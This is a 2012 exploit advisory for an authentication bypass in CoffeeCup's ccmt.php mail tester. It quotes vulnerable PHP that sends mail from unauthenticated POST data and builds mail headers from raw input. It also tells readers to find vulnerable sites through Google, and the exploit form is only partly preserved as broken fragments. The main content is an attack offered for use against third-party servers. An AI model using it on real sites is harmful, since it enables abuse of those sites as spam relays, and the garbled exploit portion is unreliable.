# Exploit Title: CoffeeCup Mail Tester Bypass Authentication # Date: [23-feb-2012] # Author: Benjamin Oviedo aka-- H4CKULT1M4T3 mail: pepe_benja@hotmail.com # Software Link: http://www.coffeecup.com # Version: [] # Tested on: [php] # Product Description: /********** CC Mail Tester Written by: CoffeeCup Software's David R. A small PHP file that takes an e-mail address and uses the PHP mail() function to test mailing. Does nothing more than send the mail if everything is set correct, or return an error if not. **********/ #Vulnerable file: ccmt.php #issue reported to: http://www.coffeecup.com Google to find sites with this file name, just type the word ccmt.php. vulnerable code!! The bug lies in the send_mail variable, which is not properly authenticated making it possible to send parameters via post for mail to be sent, so it is not necessary to login with the username and password to send mail. if($_POST['send_email']) { // Check for a "to:" value. Exit if not available. if(!$_POST['to']) { die("You didn't type an e-mail address to send to! Please go back and try again."); } // Set the recipient. $to = $_POST['to']; Exploit code!! "; flush(); } } } else { ?>

Exploit Coffecup mail Tester bypass authentication
maded by h4ckult1m4t3


Host (ej.www.host.com)

Ruta file ej(/ruta/ccmt.php).

TU Email:
TU Nombre:

Also here I leave the original file code ccmt.php go back and try again."); } // Set the recipient. $to = $_POST['to']; // Set who it's from, if a value was entered. if($_POST['from']) $from = $_POST['from']; // Set the subject. If subject was left blank, override with a default. $subject = $_POST['subject']; if($_POST['subject'] == "") $subject = "CoffeeCup Test Message"; // Set the message. If the message was left blank, override with a default. $message = htmlspecialchars(stripslashes($_POST['message']), ENT_NOQUOTES); if($_POST['message'] == "") $message = "This is a test message from the CoffeeCup Software Mail Tester."; // Set headers. $charset = $_POST['charset']; $headers = "Content-Type: text/plain; charset=".$charset."\r\n"; if($_POST['from']) $headers .= "From: ".$_POST['from']."\r\n"; if($from) $headers .= "Reply-To: ".$from."\r\n"; if($_POST['cc']) $headers .= "CC: ".$_POST['cc']."\r\n"; if($_POST['bcc']) $headers .= "BCC: ".$_POST['bcc']."\r\n"; // Send the e-mail. $sent = mail($to, $subject, $message, $headers); if(!$sent) { echo("

Error sending mail.